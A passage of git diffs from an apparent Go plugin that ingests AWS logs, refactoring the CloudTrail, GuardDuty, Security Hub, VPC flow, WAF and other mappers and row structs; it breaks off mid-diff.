mappers/cloudtrail_log_mapper.go diff --git a/extractors/cloudtrail_log_extractor.go b/extractors/cloudtrail_log_extractor.go new file mode 100644 index 00000000..d19bac63 --- /dev/null +++ b/extractors/cloudtrail_log_extractor.go @@ -0,0 +1,48 @@ +package extractors + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" +) + +// CloudTrailLogExtractor is an extractor that receives JSON serialised CloudTrailLogBatch objects +// and extracts CloudTrailLog records from them +type CloudTrailLogExtractor struct { +} + +// NewCloudTrailLogExtractor creates a new CloudTrailLogExtractor +func NewCloudTrailLogExtractor() artifact_source.Extractor { + return &CloudTrailLogExtractor{} +} + +func (c *CloudTrailLogExtractor) Identifier() string { + return "cloudtrail_log_extractor" +} + +// Extract unmarshalls the artifact data as an CloudTrailLogBatch and returns the CloudTrailLog records +func (c *CloudTrailLogExtractor) Extract(_ context.Context, a any) ([]any, error) { + // the expected input type is a JSON byte[] deserializable to CloudTrailLogBatch + jsonBytes, ok := a.([]byte) + if !ok { + return nil, fmt.Errorf("expected byte[], got %T", a) + } + + // decode json ito CloudTrailLogBatch + var log rows.CloudTrailLogBatch + err := json.Unmarshal(jsonBytes, &log) + if err != nil { + return nil, fmt.Errorf("error decoding json: %w", err) + } + + slog.Debug("CloudwatchMapper", "record count", len(log.Records)) + var res = make([]any, len(log.Records)) + for i, record := range log.Records { + res[i] = &record + } + return res, nil +} diff --git a/mappers/cloudtrail_log_mapper.go b/mappers/cloudtrail_log_mapper.go deleted file mode 100644 index 83ee55a1..00000000 --- a/mappers/cloudtrail_log_mapper.go +++ /dev/null @@ -1,47 +0,0 @@ -package mappers - -import ( - "context" - "encoding/json" - "fmt" - "log/slog" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -// CloudTrailLogMapper is a mapper that receives CloudTrailLogBatch objects and extracts CloudTrailLog records from them -type CloudTrailLogMapper struct { -} - -// NewCloudTrailLogMapper creates a new CloudTrailLogMapper -func NewCloudTrailLogMapper() table.Mapper[*rows.CloudTrailLog] { - return &CloudTrailLogMapper{} -} - -func (c *CloudTrailLogMapper) Identifier() string { - return "cloudtrail_log_mapper" -} - -// Map casts the data item as an CloudTrailLogBatch and returns the CloudTrailLog records -func (c *CloudTrailLogMapper) Map(_ context.Context, a any) ([]*rows.CloudTrailLog, error) { - // the expected input type is a JSON byte[] deserializable to CloudTrailLogBatch - jsonBytes, ok := a.([]byte) - if !ok { - return nil, fmt.Errorf("expected byte[], got %T", a) - } - - // decode json ito CloudTrailLogBatch - var log rows.CloudTrailLogBatch - err := json.Unmarshal(jsonBytes, &log) - if err != nil { - return nil, fmt.Errorf("error decoding json: %w", err) - } - - slog.Debug("CloudwatchMapper", "record count", len(log.Records)) - var res = make([]*rows.CloudTrailLog, len(log.Records)) - for i, record := range log.Records { - res[i] = &record - } - return res, nil -} diff --git a/mappers/cost_usage_mapper.go b/mappers/cost_usage_mapper.go index e4e604c3..59803c72 100644 --- a/mappers/cost_usage_mapper.go +++ b/mappers/cost_usage_mapper.go @@ -4,7 +4,6 @@ import ( "context" "encoding/csv" "fmt" - "log/slog" "strconv" "strings" "time" @@ -26,60 +25,57 @@ func (c *CostAndUsageLogMapper) Identifier() string { return "cost_and_usage_mapper" } -func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]*rows.CostAndUsageLog, error) { - slog.Debug(">> Inside Map") - csvData, ok := a.(string) +func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) (*rows.CostAndUsageLog, error) { + csvRow, ok := a.(string) if !ok { return nil, fmt.Errorf("input data is not of type string") } - r := csv.NewReader(strings.NewReader(csvData)) + + r := csv.NewReader(strings.NewReader(csvRow)) r.TrimLeadingSpace = true - records, err := r.ReadAll() + row, err := r.Read() if err != nil { fmt.Println("Error reading CSV data:", err) return nil, err } - slog.Debug("<< records", "...", records) - var logs []*rows.CostAndUsageLog - for _, row := range records { - // TODO - find a better way of doing this parsing - // this works for now, since the csv columns are fixed and ordered - slog.Debug("<< row", "...", row) - log := &rows.CostAndUsageLog{ - InvoiceID: &row[0], - PayerAccountId: &row[1], - LinkedAccountId: &row[2], - RecordType: &row[3], - RecordID: &row[4], - BillingPeriodStartDate: parseTime(row[5]), - BillingPeriodEndDate: parseTime(row[6]), - InvoiceDate: parseTime(row[7]), - PayerAccountName: &row[8], - LinkedAccountName: &row[9], - TaxationAddress: &row[10], - PayerPONumber: &row[11], - ProductCode: &row[12], - ProductName: &row[13], - SellerOfRecord: &row[14], - UsageType: &row[15], - Operation: &row[16], - RateId: &row[17], - ItemDescription: &row[18], - UsageStartDate: parseTime(row[19]), - UsageEndDate: parseTime(row[20]), - UsageQuantity: parseFloat(row[21]), - BlendedRate: &row[22], - CurrencyCode: &row[23], - CostBeforeTax: parseFloat(row[24]), - Credits: parseFloat(row[25]), - TaxAmount: parseFloat(row[26]), - TaxType: &row[27], - TotalCost: parseFloat(row[28]), - } - logs = append(logs, log) + + var log *rows.CostAndUsageLog + + // TODO - find a better way of doing this parsing + // this works for now, since the csv columns are fixed and ordered + log = &rows.CostAndUsageLog{ + InvoiceID: &row[0], + PayerAccountId: &row[1], + LinkedAccountId: &row[2], + RecordType: &row[3], + RecordID: &row[4], + BillingPeriodStartDate: parseTime(row[5]), + BillingPeriodEndDate: parseTime(row[6]), + InvoiceDate: parseTime(row[7]), + PayerAccountName: &row[8], + LinkedAccountName: &row[9], + TaxationAddress: &row[10], + PayerPONumber: &row[11], + ProductCode: &row[12], + ProductName: &row[13], + SellerOfRecord: &row[14], + UsageType: &row[15], + Operation: &row[16], + RateId: &row[17], + ItemDescription: &row[18], + UsageStartDate: parseTime(row[19]), + UsageEndDate: parseTime(row[20]), + UsageQuantity: parseFloat(row[21]), + BlendedRate: &row[22], + CurrencyCode: &row[23], + CostBeforeTax: parseFloat(row[24]), + Credits: parseFloat(row[25]), + TaxAmount: parseFloat(row[26]), + TaxType: &row[27], + TotalCost: parseFloat(row[28]), } - slog.Debug("<< logs", "...", logs) - return logs, nil + + return log, nil } func parseTime(value string) *time.Time { diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index 38ac38d5..facc5945 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -26,7 +26,7 @@ func (g *GuardDutyMapper) Identifier() string { } // Map casts the data item as a GuardDutyBatch and returns the GuardDutyFinding records -func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFinding, error) { +func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, error) { var jsonBytes []byte // The expected input type is a JSON byte[] deserializable to GuardDutyBatch switch v := a.(type) { @@ -157,5 +157,5 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFindin } } } - return []*rows.GuardDutyFinding{row}, nil + return row, nil } diff --git a/mappers/lambda_log_mapper.go b/mappers/lambda_log_mapper.go index 8bbfae46..109d4840 100644 --- a/mappers/lambda_log_mapper.go +++ b/mappers/lambda_log_mapper.go @@ -22,8 +22,8 @@ func (m *LambdaLogMapper) Identifier() string { return "lambda_log_mapper" } -func (m *LambdaLogMapper) Map(ctx context.Context, a any) ([]*rows.LambdaLog, error) { - var row rows.LambdaLog +func (m *LambdaLogMapper) Map(ctx context.Context, a any) (*rows.LambdaLog, error) { + row := &rows.LambdaLog{} rawRow, ok := a.(string) if !ok { @@ -77,5 +77,5 @@ func (m *LambdaLogMapper) Map(ctx context.Context, a any) ([]*rows.LambdaLog, er row.Message = &stripped } - return []*rows.LambdaLog{&row}, nil + return row, nil } diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index cbb3956b..6c0cb237 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -22,7 +22,7 @@ func (m *SecurityHubFindingsMapper) Identifier() string { return "security_hub_finding_mapper" } -func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]*rows.SecurityHubFindingLog, error) { +func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) (*rows.SecurityHubFindingLog, error) { var b rows.SecurityHubFindingLog switch data := a.(type) { @@ -40,6 +40,6 @@ func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]*rows.Secur return nil, fmt.Errorf("expected byte[], string or rows.SecurityHubFindingLog, got %T", a) } - return []*rows.SecurityHubFindingLog{&b}, nil + return &b, nil } diff --git a/mappers/vpc_flow_log_mapper.go b/mappers/vpc_flow_log_mapper.go index ad8e8d5b..66a50b61 100644 --- a/mappers/vpc_flow_log_mapper.go +++ b/mappers/vpc_flow_log_mapper.go @@ -29,7 +29,7 @@ func (c *VpcFlowLogMapper) Identifier() string { } // Map casts the data item as an string and returns the VpcFlowLog records -func (c *VpcFlowLogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, error) { +func (c *VpcFlowLogMapper) Map(_ context.Context, a any) (*rows.VpcFlowLog, error) { rowString, ok := a.(string) if !ok { return nil, fmt.Errorf("expected string, got %T", a) @@ -184,6 +184,6 @@ func (c *VpcFlowLogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, er } } - return []*rows.VpcFlowLog{flowLog}, nil + return flowLog, nil } diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go index 6009cdd1..8a598e72 100644 --- a/mappers/waf_mapper.go +++ b/mappers/waf_mapper.go @@ -21,7 +21,7 @@ func (c *WafMapper) Identifier() string { return "waf_mapper" } -func (c *WafMapper) Map(_ context.Context, a any) ([]*rows.WafTrafficLog, error) { +func (c *WafMapper) Map(_ context.Context, a any) (*rows.WafTrafficLog, error) { var jsonBytes []byte switch v := a.(type) { @@ -40,5 +40,5 @@ func (c *WafMapper) Map(_ context.Context, a any) ([]*rows.WafTrafficLog, error) return nil, fmt.Errorf("error decoding JSON: %w; partial log: %+v", err, log) } - return []*rows.WafTrafficLog{&log}, nil + return &log, nil } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 801964b0..1d2cfc25 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,12 +1,12 @@ package tables import ( + "github.com/turbot/tailpipe-plugin-aws/extractors" "strings" "time" "github.com/rs/xid" "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" @@ -39,8 +39,10 @@ func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*tabl { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewCloudTrailLogMapper, - Options: []row_source.RowSourceOption{artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)}, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), + artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), + }, }, } } From 5b44afc4e0697e82adafa655f4553b0600a08e52 Mon Sep 17 00:00:00 2001 From: Graza Date: Sun, 1 Dec 2024 14:20:08 +0000 Subject: [PATCH 100/180] refactor: using struct columns where possible. Closes #31 (#32) --- mappers/guardduty_mapper.go | 174 ++++++++++-------- mappers/securityhub_finding_mapper.go | 16 +- rows/guardduty_finding.go | 103 +++++------ ..._finding_log.go => securityhub_finding.go} | 2 +- rows/waf_traffic_log.go | 2 +- tables/guardduty_finding_table.go | 37 +++- .../securityhub_finding_log_table_config.go | 13 -- ..._table.go => securityhub_finding_table.go} | 19 +- tables/securityhub_finding_table_config.go | 13 ++ 9 files changed, 205 insertions(+), 174 deletions(-) rename rows/{securityhub_finding_log.go => securityhub_finding.go} (95%) delete mode 100644 tables/securityhub_finding_log_table_config.go rename tables/{securityhub_finding_log_table.go => securityhub_finding_table.go} (66%) create mode 100644 tables/securityhub_finding_table_config.go diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index facc5945..acca11ec 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -4,6 +4,8 @@ import ( "context" "encoding/json" "fmt" + "regexp" + "strconv" "time" "github.com/aws/aws-sdk-go-v2/service/guardduty/types" @@ -30,7 +32,6 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, var jsonBytes []byte // The expected input type is a JSON byte[] deserializable to GuardDutyBatch switch v := a.(type) { - case []byte: jsonBytes = v case string: @@ -38,7 +39,11 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, default: return nil, fmt.Errorf("expected byte[] or string, got %T", a) } - // Decode JSON into a slice of AWS SDK `types.Finding` + + // pre-process JSON for compatibility issue(s) with AWS SDK https://github.com/aws/aws-sdk-go-v2/issues/2145 + jsonBytes = preprocessJSON(jsonBytes) + + // Decode JSON into AWS SDK `types.Finding` var finding types.Finding err := json.Unmarshal(jsonBytes, &finding) if err != nil { @@ -53,43 +58,12 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, Id: finding.Id, Partition: finding.Partition, Region: finding.Region, - ResourceType: finding.Resource.ResourceType, SchemaVersion: finding.SchemaVersion, - Archived: finding.Service.Archived, - Count: finding.Service.Count, - DetectorId: finding.Service.DetectorId, - ResourceRole: finding.Service.ResourceRole, - ServiceName: finding.Service.ServiceName, Severity: finding.Severity, Title: finding.Title, Type: finding.Type, } - if finding.Service.Action != nil { - if finding.Service.Action.ActionType != nil { - row.ActionType = finding.Service.Action.ActionType - } - if finding.Service.Action.AwsApiCallAction != nil { - if finding.Service.Action.AwsApiCallAction.Api != nil { - row.Api = finding.Service.Action.AwsApiCallAction.Api - } - if finding.Service.Action.AwsApiCallAction.CallerType != nil { - row.CallerType = finding.Service.Action.AwsApiCallAction.CallerType - } - if finding.Service.Action.AwsApiCallAction.ErrorCode != nil { - row.ErrorCode = finding.Service.Action.AwsApiCallAction.ErrorCode - } - if finding.Service.Action.AwsApiCallAction.RemoteIpDetails != nil { - if finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 != nil { - row.IpAddressV4 = finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 - } - if finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 != nil { - row.IpAddressV6 = finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 - } - } - } - } - // Parse `CreatedAt` if it's provided if finding.CreatedAt != nil { row.CreatedAt, err = time.Parse(time.RFC3339, *finding.CreatedAt) if err != nil { @@ -106,56 +80,104 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, row.UpdatedAt = &updatedAt } - // Parse `EventFirstSeen` and `EventLastSeen` - if finding.Service.EventFirstSeen != nil { - row.EventFirstSeen = finding.Service.EventFirstSeen - } - if finding.Service.EventLastSeen != nil { - row.EventLastSeen = finding.Service.EventLastSeen + // service + if finding.Service != nil { + row.Service = &rows.GuardDutyFindingService{ + Action: finding.Service.Action, + Archived: finding.Service.Archived, + Count: finding.Service.Count, + Detection: finding.Service.Detection, + DetectorId: finding.Service.DetectorId, + EbsVolumeScanDetails: finding.Service.EbsVolumeScanDetails, + EventFirstSeen: finding.Service.EventFirstSeen, + EventLastSeen: finding.Service.EventLastSeen, + Evidence: finding.Service.Evidence, + FeatureName: finding.Service.FeatureName, + MalwareScanDetails: finding.Service.MalwareScanDetails, + ResourceRole: finding.Service.ResourceRole, + RuntimeDetails: finding.Service.RuntimeDetails, + ServiceName: finding.Service.ServiceName, + UserFeedback: finding.Service.UserFeedback, + } } - // Extract other nested fields if available - if finding.Resource.AccessKeyDetails != nil { - row.AccessKeyId = finding.Resource.AccessKeyDetails.AccessKeyId - row.PrincipalId = finding.Resource.AccessKeyDetails.PrincipalId - row.UserName = finding.Resource.AccessKeyDetails.UserName - row.UserType = finding.Resource.AccessKeyDetails.UserType - } + // resource + if finding.Resource != nil { + row.Resource = &rows.GuardDutyFindingResource{ + ResourceType: finding.Resource.ResourceType, + } - if finding.Resource.InstanceDetails != nil { - row.AvailabilityZone = finding.Resource.InstanceDetails.AvailabilityZone - row.InstanceArn = finding.Resource.InstanceDetails.IamInstanceProfile.Arn - row.ImageDescription = finding.Resource.InstanceDetails.ImageDescription - row.ImageId = finding.Resource.InstanceDetails.ImageId - row.InstanceId = finding.Resource.InstanceDetails.InstanceId - row.InstanceState = finding.Resource.InstanceDetails.InstanceState - row.InstanceType = finding.Resource.InstanceDetails.InstanceType - row.OutpostArn = finding.Resource.InstanceDetails.OutpostArn - - if finding.Resource.InstanceDetails.LaunchTime != nil { - var launchTime time.Time - launchTime, err = time.Parse(time.RFC3339, *finding.Resource.InstanceDetails.LaunchTime) - if err != nil { - return nil, fmt.Errorf("error parsing LaunchTime: %w", err) + if finding.Resource.AccessKeyDetails != nil { + row.Resource.AccessKeyDetails = &rows.AccessKeyDetails{ + AccessKeyId: finding.Resource.AccessKeyDetails.AccessKeyId, + UserName: finding.Resource.AccessKeyDetails.UserName, + UserType: finding.Resource.AccessKeyDetails.UserType, + PrincipalId: finding.Resource.AccessKeyDetails.PrincipalId, } - row.LaunchTime = &launchTime } - // Network details - if len(finding.Resource.InstanceDetails.NetworkInterfaces) > 0 { - ni := finding.Resource.InstanceDetails.NetworkInterfaces[0] - row.NetworkInterfaceId = *ni.NetworkInterfaceId - row.PrivateDnsName = *ni.PrivateDnsName - row.PrivateIpAddress = *ni.PrivateIpAddress - row.PublicDnsName = *ni.PublicDnsName - row.PublicIp = *ni.PublicIp - row.VpcId = *ni.VpcId - row.SubnetId = *ni.SubnetId - - if len(ni.SecurityGroups) > 0 { - row.GroupId = *ni.SecurityGroups[0].GroupId - row.GroupName = *ni.SecurityGroups[0].GroupName + + var details map[string]interface{} + switch { + case finding.Resource.ContainerDetails != nil: + details, err = convertToMap(finding.Resource.ContainerDetails) + case finding.Resource.EbsVolumeDetails != nil: + details, err = convertToMap(finding.Resource.EbsVolumeDetails) + case finding.Resource.EcsClusterDetails != nil: + details, err = convertToMap(finding.Resource.EcsClusterDetails) + case finding.Resource.EksClusterDetails != nil: + details, err = convertToMap(finding.Resource.EksClusterDetails) + case finding.Resource.InstanceDetails != nil: + details, err = convertToMap(finding.Resource.InstanceDetails) + case finding.Resource.KubernetesDetails != nil: + details, err = convertToMap(finding.Resource.KubernetesDetails) + case finding.Resource.LambdaDetails != nil: + details, err = convertToMap(finding.Resource.LambdaDetails) + case finding.Resource.RdsDbInstanceDetails != nil: + details, err = convertToMap(finding.Resource.RdsDbInstanceDetails) + case finding.Resource.RdsDbUserDetails != nil: + details, err = convertToMap(finding.Resource.RdsDbUserDetails) + case finding.Resource.S3BucketDetails != nil: + details = map[string]interface{}{ + "s3_bucket_details": finding.Resource.S3BucketDetails, } } + + row.Resource.ResourceDetails = &details } + return row, nil } + +func preprocessJSON(input []byte) []byte { + re := regexp.MustCompile(`"([a-zA-Z]+(?:At|Time|Seen))":(\d+(\.\d+)?E[+-]?\d+)`) + return re.ReplaceAllFunc(input, func(match []byte) []byte { + // Extract the field name and numeric value + groups := re.FindSubmatch(match) + fieldName := groups[1] // "createdAt" or "updatedAt" + numericTimestamp := groups[2] // e.g., 1.636625755218E9 + + // Parse the numeric timestamp into an integer + seconds, err := strconv.ParseFloat(string(numericTimestamp), 64) + if err != nil { + // If parsing fails, return the original match unchanged + return match + } + + // Convert seconds to ISO 8601 format + timestamp := time.Unix(int64(seconds), 0).UTC().Format(time.RFC3339) + return []byte(fmt.Sprintf(`"%s":"%s"`, fieldName, timestamp)) + }) +} + +func convertToMap(input any) (map[string]interface{}, error) { + var result map[string]interface{} + data, err := json.Marshal(input) + if err != nil { + return nil, err + } + err = json.Unmarshal(data, &result) + if err != nil { + return nil, err + } + return result, nil +} diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index 6c0cb237..9f49c10e 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -9,21 +9,21 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) -type SecurityHubFindingsMapper struct { +type SecurityHubFindingMapper struct { } -func NewSecurityHubFindingsMapper() table.Mapper[*rows.SecurityHubFindingLog] { - res := &SecurityHubFindingsMapper{} +func NewSecurityHubFindingMapper() table.Mapper[*rows.SecurityHubFinding] { + res := &SecurityHubFindingMapper{} return res } -func (m *SecurityHubFindingsMapper) Identifier() string { +func (m *SecurityHubFindingMapper) Identifier() string { return "security_hub_finding_mapper" } -func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) (*rows.SecurityHubFindingLog, error) { - var b rows.SecurityHubFindingLog +func (m *SecurityHubFindingMapper) Map(_ context.Context, a any) (*rows.SecurityHubFinding, error) { + var b rows.SecurityHubFinding switch data := a.(type) { case []byte: @@ -34,10 +34,10 @@ func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) (*rows.Securit if err := json.Unmarshal([]byte(data), &b); err != nil { return nil, fmt.Errorf("error unmarshalling row data: %w", err) } - case rows.SecurityHubFindingLog: + case rows.SecurityHubFinding: b = data default: - return nil, fmt.Errorf("expected byte[], string or rows.SecurityHubFindingLog, got %T", a) + return nil, fmt.Errorf("expected byte[], string or rows.SecurityHubFinding, got %T", a) } return &b, nil diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index 87834747..795d450a 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -3,66 +3,57 @@ package rows import ( "time" + "github.com/aws/aws-sdk-go-v2/service/guardduty/types" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" ) -type GuardDutyBatch struct { - Records []GuardDutyFinding `json:"Records"` -} - type GuardDutyFinding struct { enrichment.CommonFields - AccountId *string `json:"account_id"` - Arn *string `json:"arn"` - CreatedAt time.Time `json:"created_at"` - Description *string `json:"description"` - Id *string `json:"id"` - Partition *string `json:"partition"` - Region *string `json:"region"` - AccessKeyId *string `json:"access_key_id"` - PrincipalId *string `json:"principal_id"` - UserName *string `json:"user_name"` - UserType *string `json:"user_type"` - AvailabilityZone *string `json:"availability_zone"` - InstanceArn *string `json:"instance_arn"` - ImageDescription *string `json:"image_description"` - ImageId *string `json:"image_id"` - InstanceId *string `json:"instance_id"` - InstanceState *string `json:"instance_state"` - InstanceType *string `json:"instance_type"` - OutpostArn *string `json:"outpost_arn"` - LaunchTime *time.Time `json:"launch_time"` - Ipv6Addresses []string `json:"ipv6_addresses" parquet:"type=JSON"` - NetworkInterfaceId string `json:"network_interface_id"` - PrivateDnsName string `json:"private_dns_name"` - PrivateIpAddress string `json:"private_ip_address"` - PublicDnsName string `json:"public_dns_name"` - PublicIp string `json:"public_ip"` - GroupId string `json:"group_id"` - GroupName string `json:"group_name"` - SubnetId string `json:"subnet_id"` - VpcId string `json:"vpc_id"` - Platform *string `json:"platform,omitempty"` - Code string `json:"code"` - ProductType string `json:"product_type"` - ResourceType *string `json:"resource_type"` - SchemaVersion *string `json:"schema_version"` - ActionType *string `json:"action_type"` - Api *string `json:"api"` - CallerType *string `json:"caller_type"` - ErrorCode *string `json:"error_code"` - IpAddressV4 *string `json:"ip_address_v4"` - IpAddressV6 *string `json:"ip_address_v6,omitempty"` - Archived *bool `json:"archived"` - Count *int32 `json:"count"` - DetectorId *string `json:"detector_id"` - EventFirstSeen *string `json:"event_first_seen"` - EventLastSeen *string `json:"event_last_seen"` - ResourceRole *string `json:"resource_role"` - ServiceName *string `json:"service_name"` - Severity *float64 `json:"severity"` - Title *string `json:"title"` - Type *string `json:"type"` - UpdatedAt *time.Time `json:"updated_at"` + AccountId *string `json:"account_id"` + Arn *string `json:"arn"` + Description *string `json:"description"` + Id *string `json:"id"` + Partition *string `json:"partition"` + Region *string `json:"region"` + SchemaVersion *string `json:"schema_version"` + Severity *float64 `json:"severity"` + Title *string `json:"title"` + Type *string `json:"type"` + CreatedAt time.Time `json:"created_at"` + UpdatedAt *time.Time `json:"updated_at"` + Service *GuardDutyFindingService `json:"service,omitempty"` + Resource *GuardDutyFindingResource `json:"resource,omitempty"` +} + +type GuardDutyFindingService struct { + Action *types.Action `json:"action,omitempty" parquet:"type=JSON"` // contains maps + Archived *bool `json:"archived,omitempty"` + Count *int32 `json:"count,omitempty"` + Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps + DetectorId *string `json:"detector_id,omitempty"` + EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + EventFirstSeen *string `json:"event_first_seen,omitempty"` + EventLastSeen *string `json:"event_last_seen,omitempty"` + Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct + FeatureName *string `json:"feature_name,omitempty"` + MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + ResourceRole *string `json:"resource_role,omitempty"` + RuntimeDetails *types.RuntimeDetails `json:"runtime_details,omitempty" parquet:"type=JSON"` // contains []struct + ServiceName *string `json:"service_name,omitempty"` + UserFeedback *string `json:"user_feedback,omitempty"` +} + +type GuardDutyFindingResource struct { + ResourceType *string `json:"resource_type,omitempty"` + AccessKeyDetails *AccessKeyDetails `json:"access_key_details,omitempty"` + ResourceDetails *map[string]interface{} `json:"resource_details,omitempty" parquet:"type=JSON"` +} + +type AccessKeyDetails struct { + AccessKeyId *string `json:"access_key_id,omitempty"` + PrincipalId *string `json:"principal_id,omitempty"` + UserName *string `json:"user_name,omitempty"` + UserType *string `json:"user_type,omitempty"` } diff --git a/rows/securityhub_finding_log.go b/rows/securityhub_finding.go similarity index 95% rename from rows/securityhub_finding_log.go rename to rows/securityhub_finding.go index c72d825d..19e02ebc 100644 --- a/rows/securityhub_finding_log.go +++ b/rows/securityhub_finding.go @@ -6,7 +6,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" ) -type SecurityHubFindingLog struct { +type SecurityHubFinding struct { enrichment.CommonFields // Top level fields diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 7fb86f1b..90a0931a 100644 --- a/rows/waf_traffic_log.go +++ b/rows/waf_traffic_log.go @@ -39,5 +39,5 @@ type WafTrafficLog struct { RuleGroupList []string `json:"rule_group_list,omitempty"` RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` - HttpRequest *HttpRequest `json:"http_request,omitempty" parquet:"type=JSON"` + HttpRequest *HttpRequest `json:"http_request,omitempty"` } diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 8b22b930..35b8fa03 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -4,6 +4,7 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" @@ -59,18 +60,34 @@ func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnri row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) row.TpIndex = *row.AccountId - if row.IpAddressV4 != nil { - row.TpIps = append(row.TpIps, *row.IpAddressV4) - } - if row.IpAddressV6 != nil { - row.TpIps = append(row.TpIps, *row.IpAddressV6) - } - if row.Ipv6Addresses != nil { - row.TpIps = append(row.TpIps, row.Ipv6Addresses...) + row.TpAkas = append(row.TpAkas, *row.Arn) + + if row.Service != nil && row.Service.Action != nil && row.Service.Action.AwsApiCallAction != nil { + // ip addresses + if row.Service.Action.AwsApiCallAction.RemoteIpDetails != nil { + if row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 != nil { + row.TpIps = append(row.TpIps, *row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4) + row.TpSourceIP = row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 + } + if row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 != nil { + row.TpIps = append(row.TpIps, *row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6) + row.TpSourceIP = row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 + } + } } - if row.UserName != nil { - row.TpUsernames = append(row.TpUsernames, *row.UserName) + if row.Resource != nil && row.Resource.AccessKeyDetails != nil { + // usernames + if row.Resource.AccessKeyDetails.AccessKeyId != nil { + row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.AccessKeyId) + } + if row.Resource.AccessKeyDetails.UserName != nil { + row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.UserName) + } + if row.Resource.AccessKeyDetails.PrincipalId != nil { + row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.PrincipalId) + } + } return row, nil diff --git a/tables/securityhub_finding_log_table_config.go b/tables/securityhub_finding_log_table_config.go deleted file mode 100644 index ae9eda74..00000000 --- a/tables/securityhub_finding_log_table_config.go +++ /dev/null @@ -1,13 +0,0 @@ -package tables - -type SecurityHubFindingLogTableConfig struct { -} - -func (a SecurityHubFindingLogTableConfig) Validate() error { - // TODO: #config validate the config - return nil -} - -func (SecurityHubFindingLogTableConfig) Identifier() string { - return SecurityHubFindingLogTableIdentifier -} diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_table.go similarity index 66% rename from tables/securityhub_finding_log_table.go rename to tables/securityhub_finding_table.go index 